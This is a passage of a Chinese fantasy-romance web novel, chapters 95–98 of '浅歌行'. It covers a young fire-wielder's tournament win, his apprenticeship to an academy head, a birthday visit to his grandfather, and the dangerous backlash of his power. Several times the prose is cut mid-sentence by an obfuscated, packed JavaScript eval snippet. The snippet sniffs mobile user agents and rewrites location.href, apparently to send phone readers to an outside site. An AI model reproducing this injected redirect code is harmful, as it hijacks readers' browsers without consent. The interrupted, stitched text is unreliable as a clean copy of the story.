心火的光原本便热烈而又明亮,在温宛法阵光芒的映照下便显得更加耀眼灿烂。 熊熊火焰围绕着陌离,在风中狂舞,法阵流光溢彩,以温宛为中心四散光芒。 底下的人看得叹为观止。 与此同时聿风也终于放下了他的执念:“输给这姑娘我确实不亏……不过她真的是在布阵?这真不是什么鬼魅之术?” 旁边的同伴咽了咽口水道:“我收回昨天的话,我再也不说漂亮姑娘都是挂件了。” 旁边另一位同伴投降似地举起手,顺便还给了自己一巴掌:“我也收回说过的话,我再也不说那些小丫头片子比不过我们这些大老爷们儿了。打不过,完全打不过。” 95. 浅歌行 台上正在与他们对战的人此刻也在心里呐喊:打不过呀!这谁打得过? 初赛与半决赛上温宛都没有出手,这让所有人都忽略了她的存在。 他们制定战术时也完全没有将她考虑在内,而是把注意力全都放在了陌离身上。 万万没想到这个看起来娇滴滴的小姑娘竟修得如此厉害的法阵之术,根本就是和陌离一样能够一打五的硬茬儿! 场上的局势逐渐扭转,陌离与温宛配合得越来越默契,余下的几人开始自乱阵脚,没过多久便全都被他们打下了台。 擂台上的人像扔饺子似地被往下甩,看台上却涌起海啸般的欢呼声。 心火与法阵的光渐渐熄灭,高高的擂台上,两个年轻人笑得张扬,转过头不经意间在灿烂的阳光下对视。 心火已熄而风未歇,擂台上的战斗已经结束,似乎连风都变得缱绻温柔,携着粉色的樱花在两人的身侧打转。 陌离注视着温宛,目光逐渐变得灼热,就像他燃烧的心火一样具有侵略性。 温宛又一次红了脸,避开他的目光,微微侧过头去。 此时萦绕在两人心间的似乎已不是胜利带来的喜悦,而是一些朦朦胧胧难以言说的情绪。 众人越来越高涨的欢呼声渐渐将他们从梦幻般的心绪中拉回现实,两人都有些茫然地向前望去。 原来是东衡学院的院长亲临此地。 东衡学院乃东海实力最强也最为出名的一家学院,它之所以实力最强,是因为有一个破境成神的院长,之所以最为有名,是因为这位院长在不久前亲自拜访过现任东海神君,所有人都知道这是他即将获得神君封号的信号。 东衡学院的院长即将成为东海第二位正式获得封号的神君,此消息一出,东衡学院瞬间成为整个东海最抢手热门的学院。 想要报名进入学院的人多如过江之鲫,然而每年的新生名额只有那么多,唯有实力强悍或是天赋过人者才有机会从众多竞争者当中脱颖而出。 也正因如此,今年的新生大赛才会这么精彩,毕竟参赛的新生都可谓是万中无一的天之骄子。 只可惜这些天之骄子们遇到了蛮不讲理的陌离,凭借着世间独一无二的心火在新生赛上横冲直撞,把天骄们的骄傲撞碎了一地。 更让他们不爽的是,今年东衡院长竟然亲临决赛现场,也就是说方才陌离是如何出风头的以及他们是如何被扔下台的,院长都在一旁看得一清二楚。 被陌离甩下台的几人咬牙切齿地攥紧了拳。 然而真正令他们妒忌得咬碎了牙的事情还在后面。 只见院长微笑着踏上高台,望向陌离的眼里有着毫不掩饰的欣赏。 他欣赏地注视着他,抬手抚上他的肩膀,先是夸赞了他一番,然后当众宣布收他为亲传弟子。 台下瞬间响起雷鸣般的掌声,此消息一出,不仅东衡学院的新生们对陌离满是艳羡,就连整个东海都震动一时。 大家纷纷开始打听,这个在新生赛上夺得了魁首,还被东衡院长收为亲传弟子的少年到底是何等人物,来自哪个不得了的大家族。 然而打听来打听去,他们最后发现这个少年并非来自什么声名显赫的家族,竟只是一个普通渔父家的孩子。 且这孩子还是一个可怜的孤儿,他的父母出海捕鱼时不幸遇见风暴,在他年纪尚小的时候便双双身亡了。他从小被爷爷照顾着长大,爷孙二人相依为命,日子过得很是清苦。 便是这样一个贫苦人家的孩子,小时候也不曾受到过什么教导,只偶尔在街上的武院门口偷学了一招半式,便一路杀进了东衡学院的新生赛,在诸多佼佼者中争得第一,甚至获得了东衡院长的青睐,前途可谓一片光明。 陌离的励志故事就这样被写进了话本子里,一夜之间他的名字在东海变得家喻户晓,他本人也笼罩上了“别人家孩子”的光环,成为家长们劝学的榜样。 被东衡院长收为亲传弟子的陌离对城里发生的这一切却是毫不知情,自从跟随着院长修行,他一天的时间便被掰成了八份用。 因他家境特殊,从小无人教他读书识字,这便导致他入了东衡学院后就连最简单的功法手册都看不懂。 他虽然悟性很高,也很有天赋,但若是大字不识,终究于以后的修行有碍。 于是院长便安排他在每日的心法修习后再读书练字两个时辰,除此之外还给他加上了诸如品茶抚琴一类的课程,为的是让他修身养性,敛一敛身上的杀伐之气。 “你身上的杀伐之气过重,日后修炼更加高深的心法时容易走火入魔,从现在开始你要有意识地收敛心中的戾气,记住了吗?”嘱咐陌离之余,院长也会疑惑:“你不过是个十五六岁的孩子,年纪轻轻,也不曾经历过什么腥风血雨,身上怎么会有如此重的杀气呢?” 听到院长这样问,陌离把头低下,有点不敢看他的眼睛:“我也不知道,我从小就是个暴脾气。以前跟爷爷住在一起的时候,老有人欺负我们,我那时候就忍不住揍人,把人从街头揍到巷尾……” 越说他声音越小,似乎是害怕师父会因此厌恶他。 却没想到院长并未说什么责备之语,只是目光幽深地注视着他,片刻之后眯了眯眼睛替他分析道:“也许与你体内的心火有关吧。心火过盛,确实会影响人的情绪,你有时控制不住自己的脾气也属正常。” 陌离抬起头,小心翼翼地掩饰着自己语气里的期待:“从小身边的人就说我是个没人教养的野孩子,师父您真的不会嫌弃我吗?我会不会给您带来很多麻烦?” 平日里肆意张扬的少年此刻在面对自己崇敬的师父时,第一次露出胆怯的目光。 他期盼又畏缩地等待着师父的回答。 却见院长微微一笑,抬起手抚了抚他的脑袋:“你已是我的弟子,便不再是无人教养的野孩子。阿离,是为师平日里对你关心不够,才会让你问这样的傻问题。” 想了想,他取出自己的随身令牌递给陌离:“学院弟子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14649641|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每年只有两次回家探望亲人的机会,其余时间都要在院中刻苦修行。但你情况特殊,家中只有一个老人,你若是日日牵挂着他,修行时也会分心。” “这个令牌你且拿去,若是想家了,便持此令出示给学院守门人,他们会放你去见家人。” 陌离双手接过令牌,没有意识到自己早已红了眼眶。 师父的手掌宽厚有力,一下又一下地轻轻抚摸着他,带给他从未体会过的类似父亲的温暖。 他将令牌收进怀里,重重地点了点头:“师父,我一定会认真修行,不会给您丢脸的!” 院长慈爱地注视着他的徒儿,眼里含着从一开始到现在便从未褪色过的欣赏。 此后陌离便更加刻苦地修炼,友人们白天来找他时他在修习心法,晚上来找他时他在品茶插花,一整个头悬梁锥刺股,无论他们怎么诱惑他一起出去玩耍他都不为所动,真切地向这帮狐朋狗友们演示着什么叫做比你优秀的人还要比你更努力。 友人们经历了许多次的乘兴而来吐血而归后,纷纷发誓再也不来找这个冷血无情的修行机器玩耍了。 放眼整个东衡学院,除了院长之外,恐怕就只有温宛来找他的时候他才舍得放下手中的事挤出一点自己宝贵的时间来陪她。 “自从新生赛之后你就再也没有踏出过东衡一步,聿风来找过你那么多次,你都不肯随他出去逛一逛。”温宛同他并肩坐在一起,歪着脑袋望着他:“你恐怕还不知道自己在外边儿被传成了什么样吧?” “我被传成了什么样?”陌离随意地擦了擦自己额上的汗,嘴角噙着一抹笑:“难不成说我是青面獠牙,长着三头六臂?” 温宛撅了撅嘴:“才不是呢。” 她再次偏过头,仔仔细细地打量陌离:“都说你是万年难得一见的天才少年,于修行一道天赋异禀不说,还生得丰神俊朗一表人才。” 陌离转头回望温宛,直视着她的眼睛:“那么你觉得呢?” 温宛愣了一下,哼了一声避开他的目光:“我觉得你青面獠牙生得可怕。” 陌离将她脸上表情的每一个细节都收进眼里,然后垂下眸低低地笑。 晚风拂过两人的面颊,和煦温柔,温宛迎着风眯着眼睛问陌离:“我有个问题想问你。” 陌离语调上扬嗯了一声:“想问什么?” 温宛问:“你每天都这么刻苦地修炼,等到修炼有成离开学院之后,打算去做什么?” 陌离想了想,然后答:“行走江湖,除暴安良。” 温宛扑哧一笑:“你是不是话本子看多啦?” 陌离摇摇头,目光沉静,语气里有着前所未有的认真:“最开始进入学院的时候,我的目标就是变得强大,强大到可以保护我的爷爷。后来我在学院认识了你们,于是有了更多想要保护的人。” 他一字一句地道:“我想要保护爷爷,保护我的朋友们,保护更多的人。” 顿了顿,他继续道:“还想要保护你。” 96. 浅歌行 陌离最后一句话说得很轻,落在温宛的耳朵里却是无比清晰。 她嗔怪地别过头去,脸颊染上一抹绯红。 陌离凑过去问她:“那你呢,等学有所成,你想要做些什么?” “我想要和你一起呀。”温宛的声音也很轻,她所说的每一个字却如一颗又一颗的石子坠入陌离的心里,激起涟漪:“我想要和你一起行走江湖,保护更多的人。” 陌离安静地笑着,不再说话。 温宛渐渐感觉到两人之间的气氛有些暧昧,她慌忙从袖间取出一枚铜戒,红着脸塞进陌离怀里:“这是我前段时间在街上买的,听说过两日是你的生辰,便送给你当生辰贺礼吧。” “是专门给我买的吗?”陌离将铜戒戴上,终究是少年心性,大剌剌地道:“这戒指也太符合我的气质了吧?你是不是挑了很久啊?” “才没有挑很久。”温宛生出一种被戳穿了的羞赧之意,起身欲走:“我就是看到之后随便买的,你不许乱说。” “好好好,我不乱说。”陌离拉住她,倒是真怕她直接走了:“过两日我会回家一趟,和我爷爷一起过生辰。你等我回来,我请你去吃好吃的。” 温宛仍旧背对着陌离,她没有回头,语气里却藏着笑意:“好,我等你回来就是。” 顿了顿,她犹豫了一下对陌离道:“对了,我在送你的戒指上布了一个阵,遇到危险时唤醒它,我就能知道你在哪儿。所以这可不是一枚普通的戒指哦,你自己保管好它。” 说着她将自己的手从陌离手中抽出,提着裙摆跑出了院子。 陌离感受到掌心一空,方才的温热正在慢慢消散。他低下头怔怔地注视着自己方才牵过温宛的手,过了一会儿,嘴角扬起一抹温柔的笑。 两日之后便是他的生辰,他在生辰这日离开了学院,回到家中探望爷爷。 他之前在新生赛上夺得魁首获得的奖金大半都寄回了家里,剩下的留着自己在学院日常开销,好在奖金足够丰厚,一段时间过去,他如今手上还有余钱。 于是在回去的路上买了一些熟菜,准备了些糕点,还给爷爷置了身新衣衫,大包小包地拎回了家里。 爷爷早早地就在门口等着他,见他回来,颤颤巍巍地迎上去。 “回来了,回来了……”他握住陌离的胳膊,打量着他是瘦了还是胖了,反反复复地念叨着同一句话:“终于是回来了,乖孙儿,爷爷想你啊。” 陌离回握住爷爷的手,扶着他往屋里走:“爷爷,你手都是凉的,是不是一大早就在门口等我了?” 老人不住地点头:“昨晚你传信说今天要回来,我天没亮就出来等着了。小离啊,你们学院养的鸽子可真有意思,还会说人话咧。要不是它会说话,我还看不懂你写的信呢。” 陌离扶着他坐下:“那不是学院养的鸽子,是我变出来给您传信的。” 老人呀了一声:“你现在还会变戏法儿啦?你们学院连这个都教啊?” 陌离笑了笑,罢了,变戏法就变戏法吧。 他打量了一眼被修缮一新的家,目光里多了些暖意:“爷爷,现下你在家里住着可暖和了吧?以前墙是漏风的,冬天总挨冻。” 老人乐呵呵地点头:“现在什么都好了,什么都好了。小离,你在学院争气,总想着多挣些银两回来补贴家里。但爷爷可要提醒你,在学院里修行才是最要紧的,千万不要为了补贴家里而耽误了修行,记住没有?” 陌离耐心地听着老人的嘱咐,他说一句他便点一次头。 老人突然又想到很关键的一点:“还有啊,在学院里千万要跟师长还有同学打好关系。” 他问陌离:“听说你被你们院长收作了亲传弟子,他喜不喜欢你?” 陌离再次点头:“师父很喜欢我,他总夸我天赋异禀,对我很好。” 老人松了口气,旋即又问他:“那你的同学们呢?你跟他们关系好不好?” “没有被别人欺负吧?”打量着眼前已经比他还要高出两个头的陌离,老人又问:“你也没欺负别人吧?” 陌离:“……” 听爷爷这么问,他脑海中闪过许多的人,有初入学院时结识的同伴,也有擂台上被他无情甩下去的同门。 最后定格在了一张温婉含着笑意的脸上。 想起她,他的声音不由自主变得温柔:“爷爷你就放心吧,我在学院认识了很多的新朋友。他们都很喜欢我,我……我也喜欢……” 爷爷观察着陌离的表情,打断了他支支吾吾的发言:“小离啊,你们学院里漂亮女孩子可多吧?你有没有喜欢的姑娘啊?” 显然姜还是老的辣,一眼就洞穿了他。 陌离被这个问题呛得咳嗽两声:“没……没见到什么漂亮姑娘。我每天都在师父的院中修行,没机会去看什么漂亮姑娘……” 老人不再追问,握住陌离的手,语重心长:“有喜欢的女孩子也没关系,但是你要记住了,你现在最主要的任务就是修行,可千万不能分心。等到你学有所成,真正有本事了,那时候你才有底气不是?” 环顾了家中一圈,老人的目光里有辛酸也有欣慰:“你也知道咱们家里的情况,爷爷帮衬不了你什么,反倒要你时常补贴家里。若你自己没有本事,岂不是让人家姑娘到咱们家里来吃苦的?” 陌离听完思索了一阵,然后认真地点了点头。 他垂首望了一眼手上的铜戒,脑海里温宛的身影挥之不散。 他一直都知道自己与学院中的那些好友不同,好友们可以在最美好的年纪毫无负担地享受轻松的学院时光,而他早早地便要考虑一些现实的问题。 譬如像温宛这样明媚无瑕的女孩,家境一定优渥,而他要怎样才能配得上她。 陌离的目光里萦绕起不属于他这个年纪的深沉,片刻之后,他吸了口气转移话题:“我方才在街上买了许多好吃的,爷爷你尝尝。” “好,好。”爷爷笑眯眯地注视着陌离取出一样又一样的食物:“今天是你的生辰,我们小离真的长大了,真的长大了……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694094|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑着笑着,他的眼中泛起一些泪光:“若你爹娘还在,见到你如今这样有出息,真不知道他们得有多开心。” 陌离手上的动作停顿了一下,然后他冲老人扬起一个笑,将所有的苦涩都藏进了这个灿烂的笑里:“他们当初在海上遇到风暴,这是一个意外,谁也没有办法。” 他抱住老人,一如从前得知父母在海上遇难时老人抱住他那般:“我会在学院照顾好自己,也会替他们照顾好您。” 老人不住地点头,哆哆嗦嗦地抹去眼角的泪。 陌离只在家中待了一日,吃完饭后陪老人在家附近逛了逛,替他置办好近段时间要用的日常用品,然后便打算返回学院了。 老人攥住他的衣袖:“小离,这么着急回去,都不在家中过夜吗?” 陌离抚上老人的手:“晚上回去我要将白天落下的心法课程都补上,还要练一个时辰的剑,时间很紧张。” “虽然今天过生辰,但也不能落下修行。” 老人听他晚上又要修习心法,又要练习剑法,心疼得直叹气。却也没有办法,陌离与别的孩子不同,他只能靠自己拼了命的努力,才有机会一点点摆脱他们现在的生活。 老人懂得这个道理,只能嘱咐他修行时也要注意身体,千万别把自己累垮了。 陌离在老人絮絮叨叨的嘱咐里挥手告别,走出几步后,老人在他身后问:“小离啊,下次回来是啥时候啊?爷爷下回可要早点准备,给你做你喜欢吃的菜咧!” 陌离没有回头,他怕自己回头看见老人殷切的目光会忍不住落泪,于是放慢了步伐背对着老人道:“下次回来就该是过年的时候啦!爷爷你照顾好自己,等到过年的时候我带同伴们一起回来玩儿。” 嘴上说着同伴们,脑海里浮现起的却始终只有温宛一人的身影。 他噙着笑意行走在深夜的街道上,感受着夜晚的雾气越来越凉,而他的心却越来越暖。 回到学院之后他又开始了夜以继日的修习,比之前还要刻苦,发誓再也不来找他玩耍的友人们第无数次违背自己的誓言试图来寻他一起玩,然后便无数次惊讶于他修行时那副不要命的样子。 “陌离,是有什么怪兽在后面追着你砍吗?” “你是得了什么不修炼就会死的病吗?” 面对友人们阴阳怪气的问话,陌离往往只是付之一笑,然后随机抓一个倒霉蛋来陪他对练。 久而久之他的好友们都在他的鞭策下取得了极大的进步,修为突飞猛进,令他们的老师刮目相看。 日子就这样不疾不徐地过去了,在学院修炼的绝大部分时间陌离都感觉充实而幸福,若说有什么令他发愁的,那便只有体内带给他力量的同时也偶尔让他感到痛苦的心火。 他是在父母去世的那一年觉醒心火的。 那时他的年纪很小,对于修行之事一窍不通,对于父母去世的印象也是朦朦胧胧。 他只知道从今往后家里再也听不到父亲粗犷的笑声,他再也感受不到母亲温柔的抚摸了。 97. 浅歌行 父母刚刚遭遇海难的那段时间他常常夜里睡不着觉,即便睡着了也容易在噩梦中惊醒。 爷爷那时候便守在他的身边,陪他一起整夜整夜的不睡觉,在他被噩梦惊醒时为他擦去额上的汗,拍着他的背轻声安抚他。 那段时间他所做的梦都出奇的一致。 他总在梦里看见自己溺入海里,汹涌的海水灌入他的口鼻,有一股力量拉扯着他往海底深处去,任他在冰冷的黑暗里窒息。 每次快要失去意识的时候,耳边就会传来一声呓语,那声音忽远忽近,若即若离,似是人声,仔细听来又不像是人能发出的声音。 像是深海里的鲛人,又像是来自天上的神谕,充满了蛊惑的意味,却又让他听不清只字片语。 它似乎是想要告诉他些什么,可是他听不懂它的呼唤,于是它一次又一次地将他拽入梦里,让他在海浪中浮沉,在窒息里煎熬,在冰凉的海水中一寸寸地感受着他的父母死去前经受过的痛苦。 他一次又一次在那不能呼吸的噩梦中惊醒,醒来后再次于恐惧中入睡,就这样一遍又一遍地重复着那个梦。 好像一个恐怖的循环,他深陷其中无法解脱。 终于,在他又一次陷入那个噩梦里,被拽入冰冷的海水中时,他决定反抗。 幼小的他使出了全身的力气,对着那股将他往海底拽却又触摸不到的力量拳打脚踢。 他自然无法与那神秘的力量相抗衡,只能无数次徒劳地挣扎着,被它继续拽入海底。 虽然他所做的反抗都是无用功,但是他没有放弃,噩梦来袭一次,他便在梦里揍它一次。 慢慢地,他感觉到梦中的自己越来越有力量。 从前他只能在被拖拽着陷入海水中时无力地挣扎,他甚至感受不到自己身体的存在,如同一片微不足道的落叶,被汹涌的海水裹挟着漫无目的地漂流。 可是后来他变得能够控制自己的身体,能够在被那股神秘的力量拖拽着往下沉时放缓下降的速度,最后一次他拼尽全力咬牙反抗,然后便在黑沉的海中见到了璀璨夺目的心火。 心火于他的胸间绽放,在他的指尖燃起,为他驱散了眼前的黑暗,将他从梦魇带回现实。 醒来后他猛地从床上坐起,满头大汗地注视着自己的双手,却并没有在掌心见到梦中的火光。 原来只是一个太过真实的梦。 心火燃烧所带来的灼热感是如此强烈,强烈到他从梦中醒来后依然喘不过气,就连喉咙都有一种被灼伤了的感觉。 嘶哑着声音咳了许久,他终于哭出声来。 爷爷正在外面晾晒衣物,听到他的哭声立马冲进屋里,抱住他安抚地拍他的背:“乖孙孙又做噩梦了,不怕不怕,爷爷给你把噩梦都拍走……” 他渐渐哭得累了,闭上眼睛,在爷爷的安抚声中再次入睡。 自那以后他便再也没有做过噩梦,冰凉窒息的海水再也没有涌入梦中侵扰过他。 他一日一日地长大,虽然有人说过看他体质强横恐怕是修仙的好苗子,但他无父无母只与爷爷相依为命,家徒四壁,哪里有多余的银两去武院修习,最多不过是在街上厮混时往武院里面瞅上几眼,偷偷学个一招半式罢了。 因此在进入东衡学院之前,从来没有人教导过他与修行相关的事情,他对自己曾经燃起过心火一事也毫不知情。 真正意识到自己拥有心火这个异能,是在十岁那年与欺负他的混混打架之时。 因为没有父母,家中只有老人,他自然而然地成为了街上那些混混们的欺负对象。十岁以前他只有挨打的份儿,但十岁以后情况就完全不一样了。 那次他像往常一样被那些比他高出一个头的混混们逼到了巷尾,瑟缩在墙角忍受着他们的拳打脚踢,在听到他们骂他是有娘生没娘养的小杂种时,他终于遏制不住内心的愤怒,第一次还了手。 这些混混曾经都是在武院修习过的,因为打架斗殴被逐出了武院,之后便开始在这片街道恃强凌弱。 陌离很清楚自己不是他们的对手,因此从一开始被欺负时就没有想过还手。 还手只能招来他们更猛烈的报复,说不定还会牵连到爷爷,所以他选择了忍耐。 可是随着年岁的渐长,每次面对这帮人的嘴脸他都忍不住愤怒,他的愤怒就这样一日日地燃烧着,终于在那一日燃成了熊熊烈火烧向了那些欺负他的人。 心火自他的掌间爆发,如猛兽一般追赶着那帮人,他们狼狈地跑出巷子,不可置信地回头张望。 火焰熄灭的那一刻,陌离也从巷尾奔出,一把攥住带头的人,摁着他的脑袋就往死里打。 其余的人犹犹豫豫不敢上前,看着陌离这般发了狠下死手的模样,想起方才那一阵莫名其妙的火焰,经过短暂的犹豫后扭头拔腿就跑。 陌离也不知道自己哪里来的这么大的力气,那人不管怎么挣扎都无法摆脱他的控制,只能抱头认命挨打。 从那以后便传出了陌离被妖怪附身一类的谣言,很长一段时间都没人再来骚扰他,尤其是那帮亲眼见过心火的人,在街上看到他都绕道走。 但同时他也吸引了另一批人的注意。 那些在武院修习的人听说陌离身怀异火,虽然他从来没有在武院修习过,但周围的人都不是他的对手,于是有些不服气的少年人便约好了来挑战他,隔三岔五到陌离家中找麻烦。 这些人无一例外都被陌离揍得鼻青脸肿,便如陌离自己所言,他一个人能追着他们从街头揍到巷尾。 这还是在没有动用心火的情况下。 他头一次知道自己身体里蕴藏着多么强大的力量,也是头一次明白别人口中的体质强横到底是什么意思。 后来他在这一片区域里竟然打出了一些名气,于是前来挑战他的人便更多了。 他们大多数都是想来亲眼看一看传说中的心火到底是什么样子,可惜每一个人都是无功而返。 陌离压根不用催动心火,光是凭借自己的拳头就能将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720648|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们这些在武院修习多年的人打得落花流水。 直到几年后,东衡学院开始新一轮的招生,远在东海之外的聿风前来求学,听说了陌离拥有心火这件事,也慕名前来挑战。 被陌离按在地上揍得连连求饶时,他带着哭腔问他:“你这么厉害,为什么不去参加东衡学院的招生?他们一定招你。” 陌离的回答言简意赅:“没钱。” 聿风趴在地上抹了一把鼻涕眼泪:“你走特招啊,你跟他们说你有心火,他们说不定会给你免了学费。” 见陌离停了手似有犹豫,聿风再接再厉道:“东衡学院可比那些寻常武院厉害多了,而且像这种大学院一般都有各种比赛,你若是赢了比赛还能获得奖金,到那时候你一边揍人一边还有银两拿,不比现在光揍人没有银两拿要好?” 陌离听到奖金两个字,想了想,终于认同地点了点头。 聿风松了口气,声音弱弱的,仍旧带了哭腔:“我带你去东衡报名,你能不能别打我了……” 在进入东衡学院之前,陌离虽然被最初那帮混混逼得动用过心火,可是之后他一次也没有主动召唤过它。 除了因为心火的力量太过强大,燃起心火时他会产生非常强烈的不适感,还因为他从来没有接触过修行之事,对于这一股陌生的力量怀有一种本能的恐惧。 他不知道该如何控制它,他甚至不觉得这个力量属于他。 后来东衡果然因为他拥有心火而将他特招进了学院,学院的老师领他入门,教给他修行的基本方法,又带他翻遍了学院藏书阁中所有与心火有关的记载,这才让他对自己究竟拥有一股多么可怕的力量产生了一些认知。 目前关于心火来源最主流的说法有两派。 一派认为心火是由造物主赐给被选中之人的无上力量,这些被选中的人生来便带有某种使命,但是在使命到来之前他们对此一无所知。至于为何是他们被选中,被选中需要一些什么条件,这便不得而知了。 另一派则认为心火是每个人都拥有的力量,区别在于有的人能够唤醒这股力量,而有的人不能,心火在他们体内沉睡着,一直在等待主人的召唤。这种说法给了许多人希望,让他们相信自己有朝一日也能拥有这股强大的力量,因此信奉这一理论的人还要更多些。 但无论是哪一种说法,它们都一致认定心火就是这世间最为强大的力量。 它诞生于古神的掌间,是真正纯粹的神力,四海八荒无人匹敌。 也许正是因为它的强大,这世上能够唤醒心火的人少之又少,能够留下记载的更是十不存一。 因此偌大的藏书阁中有关心火的记载寥寥无几,陌离并不能从中获得太多信息,更无法得知心火的修炼途径。 一切都只能靠他自己去摸索。 好在他如今总算是踏上了修行的正途,对于心火也就不再那般恐惧,进入东衡学院一个月后,他终于开始主动使用这股力量,并将它在新生赛上发挥到了极致。 98. 浅歌行 虽然现在他已经能够毫无挂碍地使用心火,但是心火带来的困扰一直横亘在他的修行之路上。 每次催动心火的时候,他全身都会有一种被灼伤的刺痛感,尤其心脏处会传来剧痛,好几次都让他险些承受不住痛晕过去。 不知是不是心火使用得不当,它所带来的反噬越来越强,在陌离过完生辰回到学院一个月后,他终于在修炼心法尝试进一步控制心火时晕了过去。 所幸当晚聿风来给他送宵夜时发现了在庭院里晕倒的他,立马背着他去找院长,这才让他捡回了一条命。 他醒过来的时候已经是三日后,院长这三日里寸步不离地守着他,见他醒了,一直紧皱着的眉头才终于舒展开来。 “你现在感觉如何?”他来到床前,示意陌离不用起身:“你现在的身体非常脆弱,万万不可动弹,且再躺两日再说。” 陌离不敢抬头看师父,羞愧地垂下眼皮:“师父,我本想利用您教的心法把心火修炼得更加强大,却没想到会遭受反噬,让您这么为我操心。” 院长叹了口气,摇摇头道:“这如何能够怪你?只能怪为师修为不精,见识不广,分明你拥有如此强悍的力量,却没有法子教你如何去使用它,白白浪费了仙苗。” 沉默了一会儿,陌离问他:“真的一点办法都没有吗?四海八荒如此之大,竟无一人知晓心火修炼的方法。” 院长注视着他,认真地道:“这四海八荒如此之大,拥有心火的人本就寥寥无几,上万年都不一定能出现一个,便更不会有关于心火如何修炼的方法留存于世了。” 话虽如此说,他却也不愿过分打击陌离的信心,又道:“不过既然有关于心火助人肉身成神的记载,不管那是不是遥不可及的传闻,终归心火的修炼也还是有希望的。前人能够做到的,为师相信你能够做得更好。” 末了,他不忘嘱咐陌离:“但是你也万不能急于求成,这次心火反噬十分危险,倘若我恰好不在院中,你恐怕有性命之危。” “师父,有这么严重吗?”陌离听得皱起眉头:“以前召唤心火时我也会有不适感,但我以为那是属于我自己的力量,它应该不至于要了我的性命。” 院长细细地解释道:“心火在你体内,虽然滋养着你的身体,却也攫取着你的力量,如今你的力量不足以支撑你控制它,便会遭到它的反噬。倘若昨晚聿风没有发现你晕倒了,恐怕心火会将你整个人都吸干。” 陌离微微张了张嘴,却不知该说些什么。 他根本没有想到后果会这么严重。 既然如此,那么以后他该如何修炼心火? 见到陌离陷入沉思,院长也沉吟着帮他思索解决之法,半晌之后他道:“这段时间我也翻阅了不少古籍,发现曾经觉醒过心火的人都各有不同之处,无论是觉醒的时间、年龄还是环境,全都大不相同。所以我猜测,或许每个人的修炼之法也不尽相同。” 陌离眼睛一亮:“您的意思是,这世上并没有一套固定的心火修炼之法,也许每个人都有适合自己的修炼方法?” 院长欣慰地点了点头,他尝试启发陌离:“你回忆一下,最初燃起心火是什么时候,当时发生了什么,你又是如何觉醒心火的?” “我第一次燃起心火是在十岁那年,那时候我被人欺负,第一次还了手。”陌离回忆着自己第一次燃起心火的情景,那一幕实在是太难忘了,他自然是一直记得的。 院长继续启发他:“然后呢?你是如何召唤心火的?是否在脑海中听到过什么声音,又或者莫名想起了什么心法口诀?不过也许那时候你并不知道那就是唤醒心火的口诀……再好好想想,可还有什么印象?” 陌离努力地回想着,最后还是摇了摇头:“我没有听到什么声音,也没有想起什么心法口诀,心火是自己燃起的,那时我只感到愤怒。除了愤怒,我不记得别的东西了。” 院长听他这样说,不禁眯了眯眼,眼里有些许失落。 “我是不是让您失望了?”陌离如今最怕的就是令师父感到失望:“我若是一直想不起来您所说的那些,是不是此生都无法修炼心火?” 院长的声音里带着安抚:“倒也并非如此,只是我翻阅古籍,了解到绝大多数唤醒过心火的人都曾经听到过一些神秘的声音。那声音或许便与传说中点燃心火之人所注定拥有的使命有关。” “有的人称它为——神谕。” 说到神谕二字时他明显停顿了一下,语气也变得讳莫如深,然后他将话锋一转:“不过话说回来,这些都只是传闻罢了,或许有朝一日你会摸索出属于自己的修炼方法。” “神谕?”陌离对此感到好奇:“那是什么?” 院长却不再言语,只微笑着摇头,嘱咐他这段时间好好休养,不要着急练功。 完全没有要替他解答疑惑的意思。 陌离也只能茫然而顺从地点点头,告诉师父不用担心,这段时间他会好好休养。 他想,也许关于神谕的记载比心火还要稀有,便连师父知道的也不多吧。 又或许神谕所牵涉到的事物并非现在的他可以知晓的,听起来那神谕与拥有心火之人有着很直接的关系,而他恰好拥有心火,师父也许怕他知道之后承受不住? 不管怎样,他知道自己暂时是无法从师父口中问出些什么来了。 那便只有等养好伤之后去藏书阁查一查,看能不能有什么发现。 不过他自己也没有想到,这伤一养便养了整整一个月。 待他运行心法再也感受不到心脏处无法忍受的刺痛时,已经到了快过年的时候了。 好友们早早地便离开了学院,准备回家过年。 聿风在离开前特地拎了壶酒来找陌离,邀请他与自己一起去遥远的东海之外过年。 “虽然第一次见面的时候看你很不顺眼,但是这一年相处下来,我发现你人其实挺好。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 